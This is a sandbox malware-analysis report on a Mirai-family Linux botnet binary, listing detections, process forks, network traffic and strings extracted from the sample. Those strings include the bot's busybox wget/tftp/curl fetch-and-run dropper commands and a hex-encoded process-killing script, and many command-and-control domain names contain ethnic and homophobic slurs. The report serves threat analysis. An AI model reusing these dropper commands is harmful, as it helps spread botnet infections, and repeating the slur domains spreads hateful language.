Edit tour

Linux Analysis Report
XHrUkAemNj.elf

Overview

General Information

Sample name:	XHrUkAemNj.elf renamed because original name is a hash value
Original sample name:	e57328d6ca68608220565817bdb579a1.elf
Analysis ID:	1515019
MD5:	e57328d6ca68608220565817bdb579a1
SHA1:	abf4cef8bf3a68be1cf7ff9be64bac256eec93ed
SHA256:	cc7b778db3a4f38f6bdfa51c4ff6ba9d394b98f35da298695619194b889b9005
Tags:	32elfmiraimotorola
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1515019
Start date and time:	2024-09-21 15:29:26 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	XHrUkAemNj.elf renamed because original name is a hash value
Original Sample Name:	e57328d6ca68608220565817bdb579a1.elf
Detection:	MAL
Classification:	mal60.troj.linELF@0/113@24/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: burnthe.libre. [malformed]
VT rate limit hit for: chinklabs.dyn
VT rate limit hit for: dogeatingchink.parody
VT rate limit hit for: freethemonkeys.pirate
VT rate limit hit for: freethemonkeys.pirate. [malformed]
VT rate limit hit for: freethewind.parody. [malformed]
VT rate limit hit for: hiakamai.dyn. [malformed]
VT rate limit hit for: infectedslurs.geek. [malformed]
VT rate limit hit for: netfags.geek. [malformed]
VT rate limit hit for: w3d0ntlikebot5.parody
VT rate limit hit for: yellowchink.pirate. [malformed]

Runtime Messages

Command:	/tmp/XHrUkAemNj.elf
PID:	6214
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

XHrUkAemNj.elf (PID: 6214, Parent: 6130, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/XHrUkAemNj.elf

XHrUkAemNj.elf New Fork (PID: 6216, Parent: 6214)

XHrUkAemNj.elf New Fork (PID: 6218, Parent: 6216)

XHrUkAemNj.elf New Fork (PID: 6220, Parent: 6216)

XHrUkAemNj.elf New Fork (PID: 6221, Parent: 6216)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: XHrUkAemNj.elf	ReversingLabs: Detection: 55%
Source: XHrUkAemNj.elf	Virustotal: Detection: 61%			Perma Link

Source: global traffic	DNS traffic detected: malformed DNS query: hiakamai.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: infectedslurs.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: freethemonkeys.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: himrresearcher.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: freethewind.parody. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 62.48.68.101
Source: unknown	TCP traffic detected without corresponding DNS query: 121.143.175.252
Source: unknown	TCP traffic detected without corresponding DNS query: 31.209.21.187
Source: unknown	TCP traffic detected without corresponding DNS query: 128.98.54.134
Source: unknown	TCP traffic detected without corresponding DNS query: 186.87.223.131
Source: unknown	TCP traffic detected without corresponding DNS query: 94.46.192.130
Source: unknown	TCP traffic detected without corresponding DNS query: 187.145.142.150
Source: unknown	TCP traffic detected without corresponding DNS query: 41.91.100.103
Source: unknown	TCP traffic detected without corresponding DNS query: 183.6.3.185
Source: unknown	TCP traffic detected without corresponding DNS query: 28.234.186.223
Source: unknown	TCP traffic detected without corresponding DNS query: 114.63.105.160
Source: unknown	TCP traffic detected without corresponding DNS query: 50.195.241.247
Source: unknown	TCP traffic detected without corresponding DNS query: 60.201.102.75
Source: unknown	TCP traffic detected without corresponding DNS query: 60.61.176.157
Source: unknown	TCP traffic detected without corresponding DNS query: 47.178.204.250
Source: unknown	TCP traffic detected without corresponding DNS query: 173.144.157.18
Source: unknown	TCP traffic detected without corresponding DNS query: 36.239.71.236
Source: unknown	TCP traffic detected without corresponding DNS query: 156.146.202.80
Source: unknown	TCP traffic detected without corresponding DNS query: 114.134.95.99
Source: unknown	TCP traffic detected without corresponding DNS query: 125.150.192.148
Source: unknown	TCP traffic detected without corresponding DNS query: 160.65.143.75
Source: unknown	TCP traffic detected without corresponding DNS query: 90.24.195.224
Source: unknown	TCP traffic detected without corresponding DNS query: 27.67.84.131
Source: unknown	TCP traffic detected without corresponding DNS query: 122.92.161.215
Source: unknown	TCP traffic detected without corresponding DNS query: 187.36.237.139
Source: unknown	TCP traffic detected without corresponding DNS query: 219.166.221.236
Source: unknown	TCP traffic detected without corresponding DNS query: 222.139.177.95
Source: unknown	TCP traffic detected without corresponding DNS query: 214.118.22.218
Source: unknown	TCP traffic detected without corresponding DNS query: 146.41.146.162
Source: unknown	TCP traffic detected without corresponding DNS query: 176.160.169.99
Source: unknown	TCP traffic detected without corresponding DNS query: 12.51.180.47
Source: unknown	TCP traffic detected without corresponding DNS query: 11.181.146.191
Source: unknown	TCP traffic detected without corresponding DNS query: 112.85.40.151
Source: unknown	TCP traffic detected without corresponding DNS query: 217.145.119.135
Source: unknown	TCP traffic detected without corresponding DNS query: 184.224.92.148
Source: unknown	TCP traffic detected without corresponding DNS query: 159.223.76.68
Source: unknown	TCP traffic detected without corresponding DNS query: 199.223.54.244
Source: unknown	TCP traffic detected without corresponding DNS query: 134.206.155.18
Source: unknown	TCP traffic detected without corresponding DNS query: 121.134.48.141
Source: unknown	TCP traffic detected without corresponding DNS query: 66.186.216.71
Source: unknown	TCP traffic detected without corresponding DNS query: 78.27.12.203
Source: unknown	TCP traffic detected without corresponding DNS query: 12.116.159.240
Source: unknown	TCP traffic detected without corresponding DNS query: 54.90.197.25
Source: unknown	TCP traffic detected without corresponding DNS query: 47.94.5.220
Source: unknown	TCP traffic detected without corresponding DNS query: 176.63.193.16
Source: unknown	TCP traffic detected without corresponding DNS query: 181.238.170.102
Source: unknown	TCP traffic detected without corresponding DNS query: 43.185.35.72
Source: unknown	TCP traffic detected without corresponding DNS query: 143.134.160.191
Source: unknown	TCP traffic detected without corresponding DNS query: 201.129.177.220

Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic	DNS traffic detected: DNS query: dogeatingchink.parody
Source: global traffic	DNS traffic detected: DNS query: hiakamai.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: infectedslurs.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: freethemonkeys.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: infectedchink.pirate
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: freethemonkeys.pirate
Source: global traffic	DNS traffic detected: DNS query: w3d0ntlikebot5.parody
Source: global traffic	DNS traffic detected: DNS query: himrresearcher.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: freethewind.parody. [malformed]
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]

Source: XHrUkAemNj.elf	String found in binary or memory: http:///curl.sh
Source: XHrUkAemNj.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6302/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6235/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6238/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6237/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/XHrUkAemNj.elf (PID: 6220)	File opened: /proc/6239/cmdline	Jump to behavior

Source: XHrUkAemNj.elf, 6214.1.00007ffdf72df000.00007ffdf7300000.rw-.sdmp, XHrUkAemNj.elf, 6218.1.00007ffdf72df000.00007ffdf7300000.rw-.sdmp	Binary or memory string: cx86_64/usr/bin/qemu-m68k/tmp/XHrUkAemNj.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/XHrUkAemNj.elf
Source: XHrUkAemNj.elf, 6214.1.00007ffdf72df000.00007ffdf7300000.rw-.sdmp, XHrUkAemNj.elf, 6218.1.00007ffdf72df000.00007ffdf7300000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: XHrUkAemNj.elf, 6214.1.0000560878ea9000.0000560878f2d000.rw-.sdmp, XHrUkAemNj.elf, 6218.1.0000560878ea9000.0000560878f2d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: XHrUkAemNj.elf, 6214.1.0000560878ea9000.0000560878f2d000.rw-.sdmp, XHrUkAemNj.elf, 6218.1.0000560878ea9000.0000560878f2d000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/m68k

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
XHrUkAemNj.elf	55%	ReversingLabs	Linux.Trojan.Mirai
XHrUkAemNj.elf	62%	Virustotal		Browse
XHrUkAemNj.elf	100%	Avira	ANDROID/AVE.Mirai.pyvpu

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	XHrUkAemNj.elf	false	Avira URL Cloud: safe	unknown
http:///curl.sh	XHrUkAemNj.elf	false	Avira URL Cloud: safe	unknown

Name	IP	Active	Malicious	Reputation
infectedchink.pirate	77.105.135.60	true	false	unknown
himrresearcher.dyn. [malformed]	unknown	unknown	true	unknown
chinklabs.dyn. [malformed]	unknown	unknown	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown
infectedslurs.geek. [malformed]	unknown	unknown	true	unknown
freethewind.parody. [malformed]	unknown	unknown	true	unknown
freethemonkeys.pirate. [malformed]	unknown	unknown	true	unknown
hiakamai.dyn. [malformed]	unknown	unknown	true	unknown
w3d0ntlikebot5.parody	unknown	unknown	false	unknown
yellowchink.pirate. [malformed]	unknown	unknown	true	unknown
chinklabs.dyn	unknown	unknown	true	unknown
dogeatingchink.parody	unknown	unknown	false	unknown
freethemonkeys.pirate	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
71.176.38.99	unknown	United States	701	UUNETUS	false
69.190.211.139	unknown	United States	3801	MISNETUS	false
90.189.119.4	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
156.173.207.132	unknown	Egypt	36992	ETISALAT-MISREG	false
117.98.157.95	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
56.151.68.229	unknown	United States	2686	ATGS-MMD-ASUS	false
176.86.84.4	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
34.220.194.242	unknown	United States	16509	AMAZON-02US	false
26.178.14.219	unknown	United States	7922	COMCAST-7922US	false
18.90.105.65	unknown	United States	3	MIT-GATEWAYSUS	false
120.92.124.182	unknown	China	137280	KSYUNGLOBAL-AS-APKingsoftcloudcorporationlimitedHK	false
89.109.59.111	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
40.91.200.52	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
90.145.43.107	unknown	Netherlands	29396	EUROFIBER-UNETEUROFIBERUNETNetworkNL	false
114.9.233.129	unknown	Indonesia	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
205.204.128.188	unknown	United States	10921	KIHNETWORKUS	false
42.2.200.162	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
151.189.74.57	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
129.158.62.20	unknown	United States	14506	ORCL-ASHBURN3US	false
78.16.213.71	unknown	Ireland	2110	AS-BTIREBTIrelandwaspreviouslyknownasEsatNetEUnet	false
131.173.255.220	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
182.102.245.182	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
82.137.67.93	unknown	Bulgaria	8866	BTC-ASBULGARIABG	false
13.182.215.143	unknown	United States	7018	ATT-INTERNET4US	false
103.28.150.14	unknown	Pakistan	58506	NBP-PKHeadOfficeNBPBuildingIIChundrigarRoadPK	false
142.39.180.70	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
43.122.168.208	unknown	Japan	4249	LILLY-ASUS	false
67.90.86.120	unknown	United States	2828	XO-AS15US	false
48.171.143.86	unknown	United States	2686	ATGS-MMD-ASUS	false
223.59.100.202	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
112.78.174.242	unknown	Indonesia	17451	BIZNET-AS-APBIZNETNETWORKSID	false
138.239.156.124	unknown	Singapore	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.218.57.143	unknown	Netherlands	41552	MARKTPLAATS-ASNL	false
192.178.240.248	unknown	United States	15169	GOOGLEUS	false
66.171.28.76	unknown	United States	33339	NEMONT-CELLULARUS	false
57.226.220.238	unknown	Belgium	2686	ATGS-MMD-ASUS	false
83.83.109.40	unknown	Netherlands	33915	TNF-ASNL	false
36.233.5.128	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
56.241.57.38	unknown	United States	2686	ATGS-MMD-ASUS	false
91.173.125.218	unknown	France	12322	PROXADFR	false
142.138.131.206	unknown	Canada	3456	TWC-3456-ITUS	false
108.170.71.194	unknown	United States	6128	CABLE-NET-1US	false
63.55.195.73	unknown	United States	6167	CELLCO-PARTUS	false
25.216.131.104	unknown	United Kingdom	7922	COMCAST-7922US	false
103.78.132.17	unknown	Korea Republic of	45996	GNJ-AS-KRDAOUTECHNOLOGYKR	false
180.32.9.65	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
47.65.190.194	unknown	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
129.200.162.32	unknown	United States	158	ERI-ASUS	false
178.242.201.163	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
1.97.10.116	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
177.158.191.84	unknown	Brazil	18881	TELEFONICABRASILSABR	false
199.95.17.247	unknown	United States	13315	HBSNETUS	false
129.226.75.180	unknown	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
206.122.194.126	unknown	United States	701	UUNETUS	false
150.92.229.23	unknown	Japan	6400	CompaniaDominicanadeTelefonosSADO	false
170.164.106.144	unknown	United States	19739	COUNTY-SANBERNARDINOUS	false
221.119.118.229	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
194.136.84.4	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
41.151.136.29	unknown	South Africa	5713	SAIX-NETZA	false
221.19.149.206	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
11.45.208.162	unknown	United States	3356	LEVEL3US	false
57.128.39.189	unknown	Belgium	2686	ATGS-MMD-ASUS	false
186.51.8.166	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
19.254.134.207	unknown	United States	3	MIT-GATEWAYSUS	false
161.66.230.80	unknown	New Zealand	17542	HORTRESEARCH-AS-NZ-APHortResearchLimitedNZ	false
210.28.98.228	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
76.43.109.148	unknown	United States	18494	CENTURYLINK-LEGACY-EMBARQ-WRBGUS	false
84.182.78.11	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
198.195.194.120	unknown	United States	292	ESNET-WESTUS	false
108.103.54.62	unknown	United States	10507	SPCSUS	false
118.80.137.188	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
160.192.18.255	unknown	Japan	7670	CTNETEnergiaCommunicationsIncJP	false
138.203.77.87	unknown	Belgium	5488	BELGACOMBE	false
191.7.113.42	unknown	unknown	263316	INFOSHOPComercioeServicosLtdaBR	false
156.85.186.30	unknown	United States	10695	WAL-MARTUS	false
145.50.219.163	unknown	Netherlands	42894	MINVENW-RWSMinVenW-RijkswaterstaatBackboneNL	false
181.1.98.98	unknown	Argentina	7303	TelecomArgentinaSAAR	false
73.59.78.148	unknown	United States	7922	COMCAST-7922US	false
6.57.154.214	unknown	United States	1464	DNIC-ASBLK-01464-01465US	false
75.251.219.33	unknown	United States	22394	CELLCOUS	false
106.192.238.87	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
173.161.129.29	unknown	United States	7922	COMCAST-7922US	false
152.167.55.201	unknown	Dominican Republic	28118	ALTICEDOMINICANASADO	false
195.168.94.153	unknown	Slovakia (SLOVAK Republic)	5578	AS-BENESTRABratislavaSlovakRepublicSK	false
118.109.208.59	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
137.193.8.169	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
158.205.25.231	unknown	Japan	4694	IDCFIDCFrontierIncJP	false
117.152.13.95	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
76.72.85.221	unknown	United States	25921	LUS-FIBER-LCGUS	false
207.47.239.95	unknown	Canada	803	SASKTELCA	false
119.69.203.73	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
83.200.108.117	unknown	France	3215	FranceTelecom-OrangeFR	false
81.250.171.204	unknown	France	3215	FranceTelecom-OrangeFR	false
136.240.213.62	unknown	United States	22174	NET-SUC-TECH-ALFUS	false
39.215.79.82	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
139.107.94.136	unknown	Norway	5619	EVRY-NO	false
134.200.64.40	unknown	United States	46543	UMBUS	false
160.156.117.178	unknown	Tunisia	37492	ORANGE-TN	false
